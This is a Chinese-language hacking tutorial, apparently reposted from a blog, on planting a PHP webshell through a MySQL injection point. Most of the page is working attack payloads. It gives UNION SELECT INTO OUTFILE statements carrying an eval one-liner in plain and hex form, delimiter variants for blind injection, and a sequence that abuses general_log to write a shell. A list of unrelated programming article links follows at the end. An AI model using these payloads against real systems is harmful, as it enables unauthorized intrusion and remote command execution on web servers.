• MySQL注入点写入webshell


    MySQL注入点写入webshell

    • 条件
      • MySQL用secure_file_priv这个配置项来完成对数据导入导出的限制。

        • 通过命令查看secure-file-priv的当前值,确认是否允许导入导出以及到处文件路径。
          show variables like '%secure_file_priv%';
        • secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
        • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
        • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制,即secure_file_priv=""
      • MySQL的当前用户拥有的权限可以执行 select into outfile操作。

      • 当secure_file_priv文件导出路径与web目录路径重叠,写入Webshell才可以被访问到。

    • 注入方式
      • 利用Union select 写入
        • 具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
        • 执行语句 :
          ?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
          ?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"
      • 利用分隔符写入
        • 当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 --os-shell命令,所采用的就是一下这种方式。

        • 具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径

        • 执行语句

          • ?id=1 INTO OUTFILE '物理路径' lines terminated by (一句话hex编码)#
          • ?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
          • ?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
            *?id=1 INTO OUTFILE '物理路径' lines starting by (一句话hex编码)#
      • 利用log写入
        • 新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。
        • 具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。
        • show variables like '%general%'; #查看配置
        • set global general_log = on; #开启general log模式
        • set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
        • select '<?php eval($_GET[g]);?>' #写入shell
        • set global general_log=off; #关闭general log模式
  • 相关阅读:
    Java多线程-ThreadLocal和InheritableThreadLocal的使用
    Java多线程-join的使用
    VsCode配置让 ts 文件自动编译为 js文件
    npm和yarn更改依赖包全局下载和缓存路径
    npm和yarn更改淘宝镜像
    Java多线程-管道流实现线程间通信
    Java多线程-生产者/消费者模式实现
    Java多线程-使用 wait / notify 实现线程间的通信
    Java多线程-volatile关键字
    Java多线程-synchronized(非this对象)
  • 原文地址:https://www.cnblogs.com/hacker-snail/p/14096955.html
Copyright © 2020-2023  润新知